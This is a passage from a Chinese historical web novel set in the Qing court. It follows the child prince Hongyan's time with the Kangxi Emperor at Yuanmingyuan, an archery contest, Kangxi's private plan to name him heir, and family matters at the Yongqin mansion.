弘晏点了点小脑袋,随即又端起碗来,舀起一勺汤药喂给康熙:“皇玛法若是嫌苦,就配着樱桃一起吃。” 二十四孝的故事,读过书的人都知晓,但能真正去做的却没几个,而六岁多的弘晏竟能付诸实践,真是难得。 康熙掩下思绪,慈爱道:“好。” 这汤药实在太苦,康熙让弘晏喂了几勺之后,便一饮而尽了。 末了,弘晏又嘱咐起来:“皇玛法,你要按时吃药,多吃饭、多睡觉,开开心心的,病才能好的快些。” 康熙点点头:“福宝的话,皇玛法都记下了。” 弘晏伸出了自己的小拇指:“皇玛法,拉钩。” 康熙笑了,满是宠溺道:“好,拉钩。” 第114章 第114章去圆明园 康熙服了药便要睡下了,胤禛便带着弘晏出了乾清宫,回雍亲王府去。 到了正院,弘晏屁颠屁颠的将在潭柘寺折的桃花拿给乌拉那拉氏看。 这一路上,弘晏保护的好,白瓷瓶子里粉色的花朵和红色的花朵交错长在枝上,开的正艳,还有几个小巧的花苞。 乌拉那拉氏欢喜道:“真好看。” 说着,乌拉那拉氏便命流萤将这白瓷瓶子摆在了最显眼的位置。 胤禛与弘晏陪着乌拉那拉氏用了午膳后,父子二人便回前院去了。 胤禛径直回了书房,而弘晏则往学堂去。 弘晏兴冲冲的走进了学堂:“哥哥们,看我带了什么回来。” “红樱桃!”弘昼最先瞧见跟着弘晏的田玉手里拎着的小篮子。 弘晏眨着眼睛说道:“哥哥们快尝尝,可甜了。” 田玉将一篮子樱桃放在了桌案上,弘昼便立马小跑过来,抓了樱桃就往嘴里塞:“六弟,还是你最好了。” 而弘时慢悠悠的走过来说道:“六弟,阿玛原来是带你去摘樱桃了。” 弘晏点了点头。 康熙生病的事儿,还是不声张的好。 弘历瞧着弘昼已然开吃了,忙道:“五弟,这樱桃还没洗呢。” 弘晏闻言,开口解释:“四哥放心,已经洗过了。” 弘历点点头,随即又看向弘昼,皱起了眉头:“弘昼,你还没洗手呢。” 弘昼不以为然道:“我手又不脏。” 弘晏笑嘿嘿的眨眼:“五哥,四哥说的对,洗洗手再吃。” “好吧。”弘昼说完,便迈步往外走。 弘历:“……” 下午的书法课上完,朱师傅拿着书往外走,弘晏便紧跟着撵了出来:“朱师傅等等。” 朱师傅闻言,停下了脚步,低头问道:“六阿哥,有何事?” 弘晏只道:“还请朱师傅稍等片刻。” 朱师傅闻言,只好先留在原地等着。 片刻的功夫,田玉小跑过来:“阿哥。” “朱师傅,这是我送你的樱桃。”弘晏说完,田玉便将那一篮子樱桃递给朱师傅。 朱师傅却没有接:“六阿哥,你的心意我领了,这樱桃你还是留着自己吃吧。” “朱师傅,我有的,你就不要推辞了。”弘晏说完,便给田玉使了个眼色。 田玉将那篮子樱桃塞给朱师傅以后,主仆二人便撒开腿跑了。 朱师傅见状,只好收下了。 摘的红樱桃给了康熙一篮子,乌拉那拉氏一篮子,弘时、弘历和弘昼分食一篮,又给了朱师傅一篮,剩余的最后两篮子樱桃,弘晏自己留了半篮,给了田玉半篮,给了石泉一整篮子樱桃。 弘晏知道石泉有什么好东西,都惦记着周氏和石蕊,所以他才给了石泉一整篮,也好叫周氏和石蕊尝尝鲜。 春天不知不觉过去,又迎来了炽热的夏天。 这日上午,满文课结束,弘晏等人便出了屋子,来院子里玩耍一会儿,而弘昼却爬起了树。 枝叶繁茂的大树下是一片阴凉,弘晏等人便在树荫下乘凉。 “五哥,你小心些。”弘晏有些担心,目光一直追随着弘昼。 弘昼一边爬一边笑:“放心吧,六弟,我身手好着呢。” 弘历对于弘昼的举动很不理解:“弘昼,你爬树作甚?” 弘昼只道:“天热心烦,这知了叫的我头疼。” 弘历一脸关切:“有奴才们在,哪里用你去抓?” 弘晏已然看明白了,拍了拍弘历的肩膀:“四哥,五哥哪里是嫌知了吵闹,不过是想抓知了玩罢了。” 弘历恍然大悟,又抬眼去看树上的弘昼:“那叫奴才抓便是了。” 自己上 树一个不小心摔下来,不但自己要受皮肉之苦,耽误读书,还要让阿玛和额娘担忧,这可不划算。 弘昼已然抓到了知了,便要下树:“叫旁人抓,哪里还有乐子。” 安全落地的弘昼将自己抓来的知了捧到弘晏面前:“六弟,你瞧。” 这知了正“吱吱”的叫着呢。 弘历出言提醒:“弘昼,你不会要将它带进学堂里吧,等会儿可就是朱师傅的课了。” 弘昼咧着嘴笑:“我会小心的。” 一刻钟后,学堂内的朱师傅手拿着书卷正讲到了精彩的地方时,忽然听到了“吱吱”的声音。 朱师傅只以为是窗外树上的知了在叫,便没有在意,而是继续往下讲。 “吱吱,吱吱……” 这一回,知了连续发出的叫声倒是吸引了朱师傅的注意。 一旁的弘晏,不禁替弘昼捏了把汗。 朱师傅停了读书声,眼睛开始环顾四周。 这声音,近的很,应是就在学堂里。 知了的叫声还在继续,朱师傅判断完知了发出声音的方位后,便径直朝着弘昼走过去了。 朱师傅伸出手:“五阿哥,交出来吧。” 弘昼开始装傻:“朱师傅,交什么?” 朱师傅直白道:“知了。” 弘昼只道:“朱师傅,知了在树上呢,你要是想要,我去给你抓。” 弘晏确实佩服弘昼这一本正经的胡说八道的本事。 朱师傅一脸严肃:“五阿哥,你若再不交,我便只好请示王爷了。” “别呀,朱师傅,我交还不行嘛。”弘昼说着,将一个檀木小方盒递给了朱师傅。 朱师傅打开檀木小方盒一看,果然是知了,接着朱师傅走到了门外,将那只知了给放生了。 弘昼见状,撅了噘嘴。 这可是他好不容易爬树抓来的,就这么轻易的给放跑了。 而在朱师傅扭过来时,弘昼立马变得乖巧起来。 目睹这一切的弘晏表示:一级变脸大师弘昼。 下午,弘晏等人正在练习射箭,小喜子却走了过来:“四位阿哥,爷有请。” 去书房的路上,弘昼哭丧个脸:“定然是朱师傅在阿玛面前告了我的状。” 弘昼说完,拉了拉弘晏的手,一脸郑重的说道:“六弟,待会儿阿玛要是动起手来,你可要替我求情啊。” 弘晏哭笑不得:“五哥,阿玛哪里有这么残暴。” 弘昼叹了口气:“对你是没有,对我就不一定了。” 一旁的弘时接过话茬:“弘昼,阿玛顶多训斥你两句,哪次又真的打过你。” 兄弟四个,也只有他是确确实实挨过胤禛的打,一回想起那次挨打的画面,弘时都有些腿软。 待弘时说完,弘晏又看向弘昼:“五哥,阿玛要真是为你抓知了的事儿,又何必将我们都叫去呢。” 弘昼觉得弘晏的话很有道理:“对哦,那是我错怪朱师傅了。” 那应该就不是因为他的事儿了。 一直沉默的弘历开了口:“我看阿玛把咱们都叫去,是要考校功课吧。” 弘历这话一出口,弘时瞬间就蔫儿了,而弘昼更是摊手表示:“那我更完了。” 弘昼求助的眼神看向了弘晏。 弘晏抬手拍拍自己的小胸膛:“五哥放心,一切有我。” 四个兄弟你一言我一语的很快就到了胤禛的书房。 “见过阿玛。”弘晏等人齐声道。 檀木小榻上的胤禛将手里的茶盏放回矮桌上,看向四个儿子开了口:“你皇玛法要到圆明园小住几日,点名要见你们四个,你们好好准备,明日一早便动身。” 弘昼兴冲冲喊道:“好啊!” 去圆明园就不用上课了! 胤禛眉头微颦:“弘昼,就属你最没规矩,到了你皇玛法面前要稳重些,不可失仪。” 弘昼拍了拍自己的小胸膛,一脸自信:“阿玛放心,我不会给你丢脸的。” 弘昼提到了丢脸,胤禛的目光就看向了弘时:“弘时,你年纪最长,这次去圆明园,要为三个幼弟做出表率来,知道吗?” 弘时很没底气的颔首:“是,阿玛。” 胤禛拜拜手,便叫四个孩子下去了。 这四个孩子里,让他放心的也就是弘晏和弘历了。 出了胤禛的书房,弘晏和弘昼一脸高兴,而弘时和弘历脸上却布满了愁云。 弘晏捕捉到这一点后,关心道:“三哥,四哥,你们怎么了?” 弘时开口解释:“六弟,皇玛法点名要见我们,定然是要考校我们的功课。” 弘历点了点小脑袋。 他也是这般想的。 弘昼不以为意的晃着小脑袋,说话的声音里满是喜悦:“考就考呗,不用上课我就高兴。” 弘时背着手说道:“欸,谁跟你一样脸皮厚啊。” 方才在书房里,阿玛说的话就是在点他,毕竟他之前进宫的时候可是闹了一个大笑话。 弘昼摊手:“看又看不懂,背又背不会,脸皮再不厚点,那岂不是没有活路了。” 弘时:“……” 你直接报我名字得了。 “三哥,五弟,六弟,我先走一步,回去温书了。”弘历说完,就撒开腿跑走了。 弘晏/弘时/弘昼:“!!!” 弘晏扭脸看向了弘时:“三哥,要不你也快些回去温书?” 弘时只道:“书晚上可以看,我还是去练练射箭吧。” 弘时说完,迈大步走了。 弘昼拉了拉弘晏:“六弟,你不会也要撇下我吧。” 弘晏笑嘿嘿道:“当然不会了,五哥。” 文章可都在他脑子里呢。 “走,我那儿还有肉脯和枣泥酥饼呢。”弘昼笑眯眯的说完,便拉起弘晏的手朝着自己的寝房走去。 第115章 第115章守口如瓶 第二日一早,胤禛就带着弘晏等人坐上马车往圆明园去了。 到了地方,弘晏等人便跟着胤禛进了园子。 这圆明园本来是康熙赏赐给胤禛的园子,胤禛对这园子很是上心,亲自参与了设计。 如今,弘晏走在这园子里,瞧着亭台楼阁、回廊曲桥、奇花异草,只觉得美不胜收。 弘晏等人的住处,胤禛已然安排妥当,如今便让他们的贴身的太监先领着去放行李,再来集合。 一刻钟后,康熙的御驾来临,胤禛带着弘晏等人去接驾。 “儿臣/孙儿给汗阿玛/皇玛法请安。” 康熙手里摇着折扇,笑眯眯的抬手:“不必拘礼,都起来吧。” 胤禛侧身而站,让出一条路,请康熙进门。 康熙迈过门槛进了屋子,便坐到了上首的紫檀圈椅。 苏培盛端着热茶上来,康熙接过茶盏饮了一口,而后放到了桌子上,抬眼看向面前齐齐站成一排的四个孙儿。 康熙出声道:“弘时长高了不少。” 弘时颔首:“谢皇玛法夸奖。” 康熙的视线扫过弘历与弘昼,停留在了弘晏身上,笑道:“福宝似乎又长胖了。” 弘晏撇撇嘴:“才没有呢,皇玛法,我明明也长高了。” 康熙哈哈笑起来:“好,小福宝也长高了,是我大清未来的巴图鲁。” 弘晏一听这话便高兴了:“皇玛法的气色也好多了,整个人都年轻了。” 康熙慈爱道:“那定然是你心诚,求的福袋起了作用,佛祖保佑了皇玛法。” 弘晏忽闪着眼睛看向康熙:“皇玛法是为了朝政,为了百姓累病的,佛祖当然会护佑皇玛法啊。” 康熙听完弘晏的话,笑的更爽朗了 这时,一旁的胤禛出声道:“汗阿玛一路劳顿,可要传膳?” 康熙点头:“也好。” 午膳和四个孙儿一起用,康熙感受到了寻常人家的烟火味。 午后,康熙要在内室午睡,弘晏等人便自己去逛园子了。 待康熙睡醒,天儿已然凉爽起来,康熙便召胤禛来,要瞧瞧四个孙儿的箭法。 每人五只羽箭,射中靶心才算数,射中次数最多者为魁首。 弘晏弯弓搭箭,瞄准了箭靶,随着苏培盛一声令下,弘晏松了弓弦,那羽箭“嗖”一声飞出去。 少顷,苏培盛清点了最后的结果。 三阿哥弘时,射五箭,中靶心两箭。 四阿哥弘历,射五箭,中靶心四箭。 五阿哥弘昼,射五箭,中靶心四箭。 六阿哥弘晏,射五箭,中靶心五箭。 弘晏五箭均中靶心当为魁首,弘历与弘昼虽然同中了四箭靶心,但剩余的那一箭中,弘历的那一箭距离靶心更近,是以弘历为第二名,弘昼为第三名,最后一名毫不意外的就是弘时了。 弘时是年纪最长的,所用弓力自然也最大,难度系数与弘晏等人来比较的话,是高了些,但弘时习射箭已然多年,从他这个年龄段来看,弘时的射箭水 准还有很高的上升空间。 等苏培盛通报完成绩,胤禛看向弘晏时翘了翘嘴角,而看向弘时的时候,脸色已然阴沉了下来。 而弘时瞧见胤禛的眼神时,怯怯的低下了头,恨不得找个地缝钻进去。 康熙知晓了比赛结果之后,笑道:“福宝习射箭才几个月就能五发五中,实在难得啊。” 弘晏听了这夸奖,颠颠的跑到康熙身旁,扬着小脸儿问道:“皇玛法,那我有什么奖励吗?” 胤禛假意训斥:“福宝。” 康熙抬了抬手,满眼都是慈爱:“无妨,福宝说的对,魁首当然要有奖励了。” 康熙说着,就将自己的折扇递给了弘晏:“赏你了。” 弘晏双手接过了折扇:“嘿嘿,多谢皇玛法。” 康熙正在兴头上,又抬眼望向了胤禛:“老四,你也给你的儿子们露一手啊。” 胤禛打千儿道:“儿臣遵命。” 片刻后,苏培盛拿来了新的长弓,胤禛接过长弓,将羽箭搭上,瞄准之后果断的松了手,那只羽箭正中靶心。 弘晏眼睛都亮了:“阿玛好厉害啊。” 胤禛将长弓交给苏培盛,行至康熙面前,拱手道:“儿臣不才,在汗阿玛面前献丑了。” 康熙听罢,笑了笑并未说什么,而是起身说道:“给朕拿把长弓来。” 光坐着看儿孙们射箭,他也有些手痒痒。 苏培盛将胤禛刚才用的长弓递上,康熙斜睨了一眼,直接摆手:“换个弓力更大的来。” 胤禛:“……” 得了趁手的弓箭,康熙直接从箭筒里一次性抽出来三支羽箭搭在了弓弦上,而后开始瞄准箭靶。 弘晏瞧见这一幕,小心脏开始“扑通”跳起来。 皇玛法这是要炫技啊。 弘晏正思忖的时候,康熙的三支羽箭已然飞了出去,弘晏的视线连忙追过去,只见那三支羽箭都插在了箭靶上,其中有两支正中靶心。 弘晏立刻崇拜道:“皇玛法好厉害啊,皇玛法才是巴图鲁。” 胤禛:“……” 康熙弯了弯嘴角,将长弓直接扔给了苏培盛,却自谦道:“不行了,皇玛法老了。” 这时,胤禛拱手道:“汗阿玛箭法高超,宝刀未老,儿臣远不及矣。” 康熙抬手了抬手:“不必多礼了。” 而弘晏此时也意识到,自己的箭术不过是刚入门而已,要想在人前炫技,还有很长的路要走。 尽了兴,康熙便带着众人回去了。 第二日天儿热,康熙就在屋子里考问了弘晏等人的功课。 第三日天气凉爽,康熙便考察了弘晏等人的马术。 第四日,康熙只带着胤禛和弘晏坐船游湖。 船舱里,弘晏拿着康熙前几日赏的折扇给康熙扇风。 康熙揉了揉弘晏的小脑袋。 弘晏兴奋的指给康熙看:“皇玛法,你看,好多荷花啊。” 六月的荷花开得正盛,船舱的坐椅靠着木窗,看湖上的风景是最合适不过了。 康熙点头:“嗯,确实不错。” 眼尖的弘晏又说道:“皇玛法,有莲蓬,新摘的莲蓬剥出来的莲子最好吃了。” 胤禛听了弘晏这话,便吩咐划船的小太监往莲蓬多的地方划。 弘晏笑嘿嘿的趴在船舱的座椅上,将手伸出木窗外,轻而易举的就摘了好多莲蓬。 康熙见弘晏要开始剥莲蓬,便道:“福宝,这莲蓬可是不好剥的。” “皇玛法,我可以的。”弘晏说完这话的下一秒,就将莲蓬递给了一旁的胤禛。 他还是适合直接吃里面的莲子。 胤禛:“……” 康熙见此情景,哈哈大笑。 胤禛接过莲蓬,不多时就剥了好几粒莲子,便先将剥好的莲子递给弘晏。 弘晏接过了莲子,又将里面的莲心去了,方才投喂康熙。 康熙吃着莲子,问道:“福宝,怎么将莲心去了?” 弘晏忽闪着眼睛答道:“皇玛法,莲心是苦的啊。” 便宜阿玛还以为他不知道,想要坑他呢。 康熙很是满意:“福宝果然聪慧。” 一旁的胤禛将剥好的莲子放在了小几上面的青花瓷碟子里。 这么使唤便宜阿玛,弘晏也有些过意不去呢:“阿玛,你也吃啊。” 康熙出声夸道:“老四,看福宝多体谅你啊。” 胤禛只是陪笑。 泛舟游湖过后,祖孙三人便上了岸,又在园子里走了走,便回去了。 第五日,弘晏去找三个哥哥到园子里躲猫猫去了,而康熙只命胤禛陪他四处走走,不叫奴才们跟着。 康熙边走边说道:“老四啊,朕在你这园子里住的这几日,跟福宝他们在一起,觉得自己都年轻了不少。” 胤禛颔首:“汗阿玛春秋鼎盛,正值壮年,儿臣还担心孩子们太过吵闹,会扰了汗阿玛的雅兴。” 康熙看向胤禛,徐徐道:“朕年过六十了,你如今才是正值壮年啊。” 胤禛闻此言,立刻打千儿道:“汗阿玛万岁,儿臣是愚钝之人,蒙汗阿玛教导,得亲王俸禄,儿臣已然知足,为大清的江山基业尽些绵薄之力罢了。” 康熙低眸看着胤禛,抬了抬手:“这里又没有外人,别动不动就行礼跪下。” 胤禛遂站起身:“儿臣遵旨。” 这个话题结束,康熙笑着往前面走:“朕考校了你四个儿子的功课,综合来看,还是福宝最好。” 弘时憨直平庸,甚至有些畏缩胆怯,弘历规矩稳重,却少了孩童该有的心性,这宫里最不缺的就是规矩的孩子,至于弘昼,活泼过了头,太过顽皮,行事没个章法,但心性纯良,为人仗义。 而弘晏,有弘时、弘历和弘昼三人身上的优点,他三人没有的,弘晏也有。 这才是最难得的地方。 胤禛弯了弯嘴角:“儿臣不瞒汗阿玛,在儿臣心里,也确实最满意福宝。” 康熙有些意外。 胤禛一向是低调谦逊,今日竟能坦然夸奖自己的儿子。 不过,福宝这孩子确实讨人喜欢。 康熙迈步上了木桥,桥下溪水潺潺,清澈见底。 这时,康熙再次开了口:“老四,朕有意立福宝为世子,你以为如何?” 胤禛一愣,他没有想到康熙会忽然提起立世子的事儿:“汗阿玛,福宝才六岁,小了些,不妨再过两年?” 康熙缓缓道:“民间讲‘三岁看老’,福宝都六岁了,朕瞧着福宝这孩子错不了。” 想当年,他八岁就登基为帝,十四岁便亲政了。 胤禛颔首:“汗阿玛说的是,儿臣先代福宝谢汗阿玛恩典。” “中秋节过后,朕便会下旨,在此之前……”康熙点到为止。 胤禛点头:“儿臣明白,儿臣自会守口如瓶。” 康熙又道:“走吧,陪朕再到前面逛逛。” 下了木桥,绕过怪石假山,胤禛缓缓开口:“汗阿玛,还有一事,儿臣想请求汗阿玛。” 康熙心情正好,笑呵呵的说道:“直说就是。” 胤禛缓缓出声:“汗阿玛,弘时今年已然十五了,过了年便该娶福晋了。” 康熙只道:“听你的意思,是有了人选了?” 胤禛娓娓道来:“回汗阿玛,是吏部尚书席达尔之女董鄂氏,董鄂氏今年十六,虽然比弘时年长一岁,但为人端庄娴静,秀外慧中,与弘时倒是相配。” 康熙在脑子里回忆了席达尔这个人后,便问道:“你既中意董鄂氏,可与席达尔提过?免得被旁人捷足先登了。” 胤禛只道:“还未禀告汗阿玛,儿臣只敢私自拿主意。” 他这个四儿子办事一向是滴水不漏的,康熙笑道:“你与席达尔递个话便是,等过了年,朕便下旨为弘时赐婚。” 胤禛拱手:“是,儿臣代弘时先谢过汗阿玛。” 康熙托起胤禛的手:“说了这么会儿子话,朕也渴了,回去吧。” 胤禛应声。 第116章 第116章约定拉钩 在圆明园的第五日,康熙便准备起驾回宫了。 弘晏觉得这个消息太过于突然,连手里的葡萄也不吃了:“皇 玛法,这么快你就要回去了吗?” 康熙问向坐在自己身旁的弘晏:“福宝舍不得皇玛法?” 弘晏点了点小脑袋。 康熙笑了,抬手揉了揉弘晏的小脑瓜:“朕也舍不得福宝,福宝可愿跟着皇玛法回宫,去上书房读书吗?” 弘晏怔了怔:“那我是不是要住在宫里了?” 康熙眉眼带着笑意:“这是自然,阿哥所有的是屋子,你二十三叔与你年纪相仿,也正好可以一起作伴,福宝觉得如何?” 弘晏低头认真思考了一番,便抬眼看向了康熙,缓缓道:“皇玛法,我舍不得阿玛、额娘和哥哥们,而且府里的师傅和谙达们都很好,您若是想我了,我便时常进宫去看您。” 皇宫虽然好,康熙也十分宠爱他,但是康熙日理万机,未必能时时照看着自己,如今储位空悬,他的便宜阿玛在朝廷中的威望可是很高的,明里暗里不知道有多少人盯着他们雍亲王府呢,他若进宫去了尚书房读书,那些人岂不是更眼热了。 再者,便宜阿玛免了他上早课和晚课,他在府里读书的生活可惬意多了,要是到了上书房,又要过上起的比鸡早的生活了。 只是,他这一番权衡,绝对是不能说出口的。 康熙听了弘晏的话,脸上的笑意淡了些,有些意外,那眸子里更添了一丝遗憾,但是康熙还是尊重了弘晏的想法:“那福宝可要经常进宫来看皇玛法。” “我会的,皇玛法。”弘晏眼睛亮亮的望着康熙说完,伸出了自己的小拇指。 康熙了然,弘晏这是又要与自己拉钩了。 于是,康熙便也伸出了自己的小拇指。 一个时辰后,胤禛带着弘晏等人送走了康熙的圣驾。 弘昼笑嘻嘻的扬着脸说道:“阿玛,皇玛法走了,我们再住多少日子啊?” 胤禛闻言,答道:“午膳后,便回雍亲王府。” “啊?”弘昼的小脸垮下来,不死心的再次开口:“阿玛,午膳后正是最热的时候,咱们不如明天一早再走?” 能拖一天是一天。 弘昼的小心思胤禛看的很清楚,便颦着眉头说道:“你人好好的在马车里坐着,哪里就晒着你了。” 胤禛说完,大步流星的走了。 望着胤禛远去的背影,弘昼低头叹气:“美好的日子就这么结束了。” 弘历听了这话,扭过脸对着弘昼说道:“五弟,皇玛法是忙里偷闲才来的园子,咱们该向皇玛法一样,上进勤勉才是。” 弘昼撅了撅嘴:“上进的人那么多,可不少我这一个。” 弘历正欲再劝,弘晏赶忙开了口:“五哥,咱们出来五日了,你不想耿姨娘吗?” 弘晏提起耿格格,弘昼的眼睛便亮了:“我额娘怕是忧心的吃不下、睡不香,生怕我出格犯错,惹了皇玛法和阿玛不高兴,回去也好,额娘见到我一根毫毛都没少,她便该放心了。” 午膳过后,胤禛便带着弘晏等人坐上马车打道回府。 刚吃完饭,正是犯困的时候,弘晏靠着胤禛的肩膀就睡着了。 胤禛见状,便将弘晏搂进了怀里。 待到了雍亲王府门前,听到了外面说话的嘈杂声,弘晏便醒了。 弘晏眼睛朦胧,喊了一声:“阿玛。” 胤禛应声,抱着弘晏下了马车。 年侧福晋身子不好,乌拉那拉氏便叫她在院子里好生养着了,李侧福晋、钮祜禄格格和耿格格都跟着乌拉那拉氏在雍亲王府门前等着了。 胤禛发了话,今个儿刚从圆明园回来,弘晏等人明个儿再上学,今个儿可以跟各自的额娘回去说说话、用晚膳了。 众人行礼过后,便带着各自的孩子回去了。 胤禛自然跟着乌拉那拉氏和弘晏的脚步回正院去了。 待乌拉那拉氏坐下,弘晏迫不及待的与乌拉那拉氏分享:“额娘,你看,这是皇玛法赏给我的折扇。” 乌拉那拉氏将折扇展开,笑得眉眼弯弯:“福宝,那你皇玛法为什么赐你折扇啊?” 被母子俩忽略的胤禛抢先开了口:“是福宝厚着脸皮讨来的。” 弘晏哼了哼:“才不是。” 随即,弘晏又满是骄傲的扬起小脸儿:“因为我射箭五法五中,是魁首呢。” 乌拉那拉氏很是惊喜:“是嘛,福宝可真是厉害。” 弘晏笑嘿嘿的接话:“额娘,皇玛法更厉害,他一口气可以连射三支羽箭,有两支都射中靶心了,阿玛虽然也射中了靶心,可弓力太小,皇玛法都瞧不上呢。” 谁让便宜阿玛先说他的,那他揭了便宜阿玛的短处,就算扯平了。 乌拉那拉氏忍不住笑出声来。 胤禛将手中的茶盏放回原处,眼睛看向了弘晏:“福宝,你如今可是有皇玛法做靠山了,连你阿玛都敢笑话了?” 弘晏无辜的眨了眨大眼睛:“阿玛,我没有笑话你,我说的是实话。” 再次被伤害的胤禛:“……” 乌拉那拉氏连忙出来打圆场:“爷与福宝坐了一路的马车,还是先沐浴更衣吧。” 胤禛应了一声,随即站起身来,一把将弘晏扛在肩头便往外走:“走,阿玛带你沐浴去。” 被扛起来的弘晏有种不好的预感:“额娘,救命呀。” 乌拉那拉氏笑着摇了摇头。 这一对儿父子,谁也不肯吃亏的。 到了净室,胤禛饶有兴趣的问:“怎么不喊了?” 弘晏笑嘿嘿的献起了殷勤:“阿玛,我靠着你睡了一路,你的胳膊肯定酸了,我给你捏捏吧。” 胤禛点头:“好。” 少顷,胤禛坐在浴桶里阖上眼眸,惬意的享受着站在他身后,正给他进行肩部按摩的弘晏。 弘晏歪着小脑袋问:“阿玛,这个力道可以吗?” 胤禛“嗯”了一声。 片刻后,胤禛睁开了眼眸,看向身后的弘晏:“累不累?” 弘晏眨着真诚的大眼睛:“只要阿玛舒服,我再累也是值得的。” 胤禛:“……” 要不是在福晋面前,小家伙出言笑话他,如今他还真的被小家伙给感动到了呢。 半个时辰后,父子二人沐浴更衣完毕,便又回了正院,陪着乌拉那拉氏吃完晚膳之后,弘晏回了前院的寝房睡觉,胤禛则留宿在了正院。 —— 夏去秋来,天气转而变得凉爽,就连那枝上的叶子都换上了秋装。 这日,弘晏在书房里和胤禛一起下棋,没过多久,弘晏就双手托着小脸蛋儿,撅起了嘴巴:“又输了。” 这已经是他输给便宜阿玛的第二局了。 胤禛见状,勾了勾嘴角:“下棋同习字一样,最忌讳心浮气躁,若想赢,走一步,便要将后三步的路都想好了,更要摸清对手的棋风,如此胜算才大,福宝你不过是刚入门罢了。” 胤禛的话刚落地,苏培盛就走了进来:“爷,额驸来给您请安了。” 胤禛只道:“快请。” 弘晏的目光也不盯着棋盘了,而是瞧向了门槛的方向。 少顷,那喇星德走了进来,打千儿道:“给阿玛请安,给六阿哥请安。” 胤禛抬手:“快起吧。” 弘晏眨着眼睛喊道:“姐夫。” 自从怀恪郡主也就是他的二姐姐难产去世之后,他便再也没有见过了那喇星德了。 现在的那喇星德模样与从前并没有什么变化,只是身上多了几分稳重,少了几分意气风发。 那喇星德冲着弘晏笑着点点头,而后看向胤禛:“阿玛,我这次来一是给您请安,二是来辞行的。” 胤禛开口问:“辞行?” 那喇星德点头:“是,小婿已经递了折子,请缨去往达里岗爱军营操练蒙古兵。” 胤禛闻言,抬眼望向那喇星德:“你有上进之心是好事,只是这一去,少说也要一两年的光景,家中还是得有个操持庶务的夫人才是。” 茉雅奇故去三年了,星德也为茉雅奇守孝整整三年,也算全了夫妻情分了。 那喇星德是那喇家唯一的男丁,那喇大人夫妇虽不好开口叫那喇星德续弦,但他却不能装聋作哑。 那喇星德听了这话,神情有了一丝松动,眼眸中更是浮现了几分悲痛:“阿玛,郡主的性子您是最清楚的,我若续弦再娶,天上的郡主若有知,她会不高兴的。” 胤禛闻言,叹了一口气。 一提起怀恪,他心中就有些隐隐作痛。 那喇星德接着说道:“阿玛的意思,小婿都明白,小婿家中还有两个幼妹,她们所生的孩子亦是那喇家的后代。” 那喇星德既然打定了主意,胤禛也不好再多说什么了,只嘱咐那喇星德到了军营,要保重好身子。 那喇星德一一应下,而后又开了口:“阿玛,小婿还有一事要请求阿玛。” 那喇星德说完,看向了弘晏。 他所求之事事关女眷,六阿哥还小,不听这些是最好的。 弘晏:??? 有什么请求是他不能听的。 胤禛见状,只道:“这里没有外人,你直说就是。” 那喇星德随即拱手:“阿玛,额娘她有一颗争强好胜的心,却是个实实在在的糊涂人,来日若是犯下不可饶恕的大错,小婿自不敢说情,若非如此,还请阿玛看在小婿的薄面上,能够宽宥一二。” 那喇星德这一番话说的情真意切,弘晏不禁在心里感慨起来:李侧福晋处处瞧不上那喇星德,可那喇星德在去军营之前,特意向胤禛提出的请求,却是为了李侧福晋。 或许,那喇星德也是替故去的怀恪郡主尽一份儿孝心。 片刻后,胤禛出声答道:“阿玛答应你。” 他确实没有选错这个女婿。 那喇星德闻此言,打千儿道:“多谢阿玛。” 离开雍亲王府之前,那喇星德命人将一些补品送去了碧波苑。 他之所以没有亲自去,便是知道李侧福晋是不会见他的,就算见了,八成也是骂上一顿,再将他赶出去罢了。 第117章 第117章一解馋虫 夜深了,天边挂着明亮的弯月,书房内的胤禛还坐在书案前奋笔疾书处理着公务,苏培盛行至书案旁,递上了一碗热茶。 这时,在外面守着的小喜子进门禀道:“爷,李侧福晋求见。” 最后一笔落下,胤禛将手上的狼毫笔放置笔山上,抬眸看向小喜子:“叫她进来。” 少顷,李侧福晋迈步进来:“妾身给爷请安。” 胤禛浅啜了一口茶,眼眸也未抬,只是不冷不热的的问道:“有何事?” 话音落下,胤禛将茶盏搁在了书案上。 李侧福晋见胤禛不爱搭理她,只是捏着手里的帕子柔柔的开了口:“爷,茉雅奇离开妾身已经整整三年了,昨个儿夜里,妾身还梦见了茉雅奇。” 胤禛闻此言,眼眸中有了波动,这才抬眸看向堂上立着的李侧福晋。 李侧福晋穿得素净,眼睛里已然蒙上了一层氤氲。 胤禛的语气温和了不少:“茉雅奇去了,你多保重身子。” “是,秋天夜里凉,爷也该顾及着身子,妾身给爷炖了参汤。”李侧福晋说着,便看向了身旁跟着的夏婵。 夏婵将拎着的食盒打开,李侧福晋将里面的一盅参汤捧了出来,旋即迈步上前,要呈给胤禛。 书案旁立的苏培盛见状,便迎上去要接过李侧福晋手中的参汤。 李侧福晋没给,躲过了苏培盛要帮忙的手。 苏培盛这便明白了,识趣的退到一旁,将位子让出来。 李侧福晋缓步走到胤禛身边,将参汤放到了胤禛面前:“爷,这参汤炖了足足两个时辰,您快尝尝。” 胤禛听罢,这便拿起羹匙舀了一口。 李侧福晋的眼睛里满是期待:“爷,味道如何?” 胤禛点头:“不错。” “合爷的胃口便好。”李侧福晋说完,见胤禛又饮了一口,便再次开了口:“爷,过些日子就是中秋了,弘时这孩子一直在前院用功读书,碧波苑只妾身一个人住着冷冷清清的,妾身母家有一个侄女是活泼的性子,不知妾身可否能接她来小住几日,也好见见母家的亲人。” 胤禛听罢,出声道:“想接便接来吧。” 李侧福晋面上一喜,福身道:“妾身多谢爷。” 胤禛抬手:“夜深了,早些回去歇着吧。” 待李侧福晋走后,胤禛看向苏培盛:“将这参汤撤了。” 一日后,李侧福晋的侄女便乘着马车进了雍亲王府。 李侧福晋先带着侄女去了正院,给乌拉那拉氏请安。 “小女李允蓉见过福晋。” 乌拉那拉氏笑着开口:“允蓉,名字好听,人也长得俊俏。” 李允蓉微微屈膝:“谢福晋夸奖,小女不过蒲柳之姿,今日一见福晋,小女才知何为仪态万方、仙姿玉色。” 乌拉那拉氏闻言,脸上的笑意更甚:“倒是个嘴甜的。” 乌拉那拉氏说完,抬眸看向了银烛。 银烛心领神会,迈步进了内室。 李允蓉眉眼弯弯的望着乌拉那拉氏:“小女说的是实话,见着福晋小女只觉亲切的紧。” “如此甚好,你在府里住着可常过来坐坐,若有什么缺的少的,只管来正院找流萤便是了。”乌拉那拉氏话音落下,银烛朝着李允蓉微微福身。 李允蓉笑着回礼。 这时,银烛从内室出来,手里捧了一个檀木盒子。 得到乌拉那拉氏的眼神指令后,银烛直接来到了李允蓉面前,将手里的檀木盒子打开:“允蓉小姐,这是福晋给您的见面礼。” 